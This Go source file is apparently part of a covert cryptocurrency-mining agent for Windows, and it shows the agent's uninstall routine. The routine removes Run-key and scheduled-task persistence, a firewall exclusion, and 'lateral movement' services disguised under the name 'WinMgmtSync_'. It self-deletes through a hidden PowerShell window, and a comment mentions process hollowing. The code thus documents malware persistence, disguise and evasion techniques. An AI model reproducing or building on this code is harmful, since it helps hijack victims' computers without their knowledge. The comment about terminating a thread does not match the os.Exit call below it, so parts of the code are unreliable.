package deploy import ( "fmt" "os" "os/exec" "path/filepath" "strings" "crypto-miner-agent/config" "golang.org/x/sys/windows/registry" ) // Uninstall removes persistence, stops the process, and deletes the install directory. func Uninstall(cfg config.RuntimeConfig) error { processName := cfg.EffectiveProcessName() installDir, err := cfg.InstallDirectory() if err != nil { return err } installedExe := filepath.Join(installDir, processName+".exe") _ = exec.Command("taskkill", "/F", "/IM", processName+".exe").Run() keyName := PersistenceKeyName(cfg) runKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE) if err == nil { _ = runKey.DeleteValue(keyName) runKey.Close() } _ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run() RemoveFirewallExclusion(cfg) // Clean up potential lateral movement services svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName) _ = exec.Command("sc.exe", "stop", svcName).Run() _ = exec.Command("sc.exe", "delete", svcName).Run() if path, err := CurrentExecutable(); err == nil && samePath(path, installedExe) { // Self-uninstall: spawn cleanup then exit. ps := fmt.Sprintf(` $dir = '%s' Start-Sleep -Seconds 2 Remove-Item -LiteralPath $dir -Recurse -Force -ErrorAction SilentlyContinue `, strings.ReplaceAll(installDir, "'", "''")) cmd := exec.Command("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", ps) _ = cmd.Start() os.Exit(0) } if err := os.RemoveAll(installDir); err != nil { return fmt.Errorf("remove install dir: %w", err) } // If the agent is running in memory (Process Hollowing), it won't be killed // by the taskkill command above. We must explicitly terminate the thread. os.Exit(0) return nil }